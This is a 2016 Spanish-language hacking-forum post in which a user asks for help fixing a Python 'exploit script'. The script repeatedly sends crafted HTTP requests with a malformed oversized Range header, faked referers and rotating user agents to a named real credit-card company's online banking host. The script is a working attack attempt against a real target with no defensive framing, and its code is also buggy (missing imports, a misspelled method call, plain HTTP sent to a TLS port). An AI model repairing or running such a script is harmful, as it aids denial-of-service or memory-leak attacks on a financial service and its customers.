Underc0de

Foros Generales => Dudas y pedidos generales => Mensaje iniciado por: RedAlert en Diciembre 12, 2016, 01:42:54 AM

Título: Ayuda con script exploit
Publicado por: RedAlert en Diciembre 12, 2016, 01:42:54 AM
Buenas
estoy queriendo aprender a hacer magia con python (es el lenguaje de programación para esto, no?) y quiero saber que le falta o sobra a mi script exploit. escucho

Código (python) [Seleccionar]
import time, socket, os, sys, string

CRLF = "\r\n"


useragent = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
    'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
    'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
    'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
    'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
    'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
    'Microsoft Internet Explorer/4.0b1 (Windows 95)',
    'Opera/8.00 (Windows NT 5.1; U; en)',
    'amaya/9.51 libwww/5.4.0',
    'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
    'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
    'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
    'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]']

referer = ['http://facebook.com','http://twitter.com', 'http://google.com', 'http://www.tarjetanaranja.com']

host='naranjaonline.tarjetanaranja.com'
port=443

ip = socket.gethostbyname( host )

while True:
    request = [
        "GET /Content/images/icons/login-saldo.png HTTP/1.1",
        "Host: " + host,
        "Referer: " + random.choice(referer),
        "User-Agent: " + random.choice(useragent),
        "Range: bytes=18-18446744073709551615",
        "Connection: Close",
        "",
        ""
    ]

    packet = CRLF.join(request).encode('utf-8')

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    s.sendto( packet, (ip, port))
    s.sutdown(1)
    time.sleep(randint(10,100))